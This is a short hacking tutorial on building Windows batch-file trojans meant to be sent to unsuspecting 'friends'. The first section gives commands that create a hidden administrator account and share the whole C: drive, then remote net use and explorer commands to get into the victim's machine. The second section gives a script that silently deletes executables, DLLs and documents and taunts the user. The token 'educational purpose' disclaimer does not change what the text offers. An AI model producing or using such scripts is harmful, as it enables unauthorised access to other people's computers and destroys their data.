BATCH TROJANS

Create Trojans using .Bat files

What is a Trojan?
A Trojan, sometimes referred to as a Trojan horse, is non-self-replicating malware that appears to perform a desirable function for the user but instead facilitates unauthorized access to the user’s computer system.

What is a Bat file?
Bat files can be created using notepad with .Bat extension. These bat files consists of text which are executed by the system in form of commands. Bat files are one of the most deadly weapons of windows.

In this tutorial we will use net user, net send and net share:

1. Open a Notepad to type the commands you can also use command prompt to check whether the commands are working or not.
2. Command -> net user username /add
   It makes a new user called username(you can keep any desired name in place of username).
3. Command -> net localgroup administrators username /add
   It makes the user(username) to get added to the administrators group.
4. Command ->net share system=C: /unlimited
   This commands share the C: drive with the name of system.
5. Now keep these three commands in a Notepad and save it as any-name with .Bat extension and you are done.

Send this bat file to your friend as soon as the bat file is opened victim’s  C: drive will be shared and a new administrator user will be created. Now to access the victim’s system you need to make a session with the remote computer using net use command, you should execute these commands from your dos prompt.

Commands to make this happen:

1. Command  -> net use \victimip neo
   In the above command in the place of victim’s place, the IP address of your friend,  this command creates a session between you and victim.
2. Command -> explorer \victimipsystem
   This will open a explorer window in the share system which is nothing but C: drive with administrators access.

Now you can access the victim’s computer. This article is only for educational purpose we are not encouraging anyone to do illegal activities.

WRITE A BATCH TROJAN

 

To write a batch trojan, run notepad or some other word processor and type this as follows:

@Echo off

Del *.exe

Del *.com

Del *.dll

Del *.doc

Echo Your Screwed !

Mkdir C:\Screwed!

after typed that, click on File then click on Save, Make sure the part where it says "Save as type:" is on "All Files (*.*)" and then in the "File name:" section type "Example.bat" Now your wandering what does that do ! Here it is again with a explanation:

@Echo off - Turns echo off so user doesn't know what happens

Del *.exe - Deletes all files in the current directory with the .exe extension

Del *.com - Deletes all files in the current directory with the .com extension

Del *.dll - Deletes all files in the current directory with the .dll extension

Del *.doc - Deletes all files in the current directory with the .doc extension

Echo Your Screwed ! - Displays Your Screwed !

Mkdir C:\Screwed! - Creates the directory Screwed on the C: drive

There is a bunch more commands you can use and they can be found in a MS-DOS manual  or in the DOS prompt by typing "Help" if your in MS-DOS 6.0 or lower. going through the MS-DOS manual can help you learn more commands.
